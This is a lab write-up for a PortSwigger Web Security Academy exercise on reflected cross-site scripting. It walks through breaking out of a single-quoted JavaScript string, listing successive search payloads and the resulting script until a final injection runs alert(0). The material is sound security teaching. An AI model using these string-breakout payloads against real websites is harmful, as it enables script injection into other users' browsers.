Reflected XSS — Breaking Out of a JavaScript String¶
| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Vulnerability | Reflected Cross-Site Scripting (XSS) — JavaScript String Context |
| Difficulty | Apprentice |
| Injection Point | search parameter — reflected inside a JavaScript string literal |
| Goal | Break out of the string context and execute alert(0) |
Phase 1 — Identifying the Injection Context¶
Searching for <marquee>teto</marquee> and inspecting the source:
<script>
var searchTerms = '<marquee>teto</marquee>';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
Angle brackets are encoded — HTML tag injection is blocked. But the input lands inside a JavaScript string literal delimited by single quotes. Single quotes are not encoded because they don't require HTML escaping — the developer protected against HTML injection but not JavaScript string injection.
Phase 2 — Breaking Out of the String¶
Attempt 1 — close the string:
Searching for 'test breaks the string syntax but makes the JavaScript invalid:
var searchTerms = ''test';
Attempt 2 — close and inject a statement:
Searching for test'; alert(0) produces:
var searchTerms = 'test'; alert(0)';
Closer — but the stray ' left by the application's original closing quote makes the JavaScript invalid. We need to consume it.
Attempt 3 — open a new string for the trailing quote:
Searching for test'; alert(0); var testing = 'teto:
var searchTerms = 'test'; alert(0); var testing = 'teto';
The JavaScript is now syntactically valid — alert(0) executes. Lab solved.